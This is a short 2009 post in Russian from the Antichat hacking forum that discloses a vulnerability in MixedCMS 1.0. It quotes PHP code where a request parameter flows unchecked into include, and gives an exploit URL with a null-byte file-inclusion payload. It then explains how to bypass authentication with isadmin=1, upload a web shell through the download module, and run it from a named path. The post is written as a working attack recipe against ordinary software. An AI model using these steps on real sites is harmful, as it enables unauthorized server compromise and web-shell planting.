16.10.2009, 19:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
MixedCMS_10
LFI
PHP код:
$mod = $_REQUEST['mod'];
$op = $_REQUEST['op'];
$isadmin = $_REQUEST['isadmin'];
include "../engine/db.config.php";
include "./mod/".$mod."/".$mod."_admin.php";
http://site.com/modules/mod.php?mod='%00
там есть аплоад
Аплодим шелл
Файл download_admin.php
PHP код:
include "./mod/download/download_config.php";
...
<td align=\"center\"><a href=\"mod.php?mod=download&op=add&isadmin=1\"><b>Add Download</b></a></td>
<td align=\"center\"> <!--<a href=\"mod.php?mod=download\"><b>Download Page</b></a>--></td>
...
if (!@copy($url, $gal_path."/".$url))
{
disp_error($url." failed to copy");
}
unlink($url);
...
download_config.php
PHP код:
$gal_path = './mod/download/archieves';
по этому куску кода видно mod.php?mod=download&op=add&isadmin=1\" Add Download
значит надо его грузить
http://site.com/modules/mod.php?mod=download&op=add&isadmin=1
затем загружаем шелл и получаем его по адресу modules/mod/download/archieves/shell.php
PS гуглом и поиском проверил вроде нету такой
Последний раз редактировалось HAXTA4OK; 16.10.2009 в 19:15..
|
|
|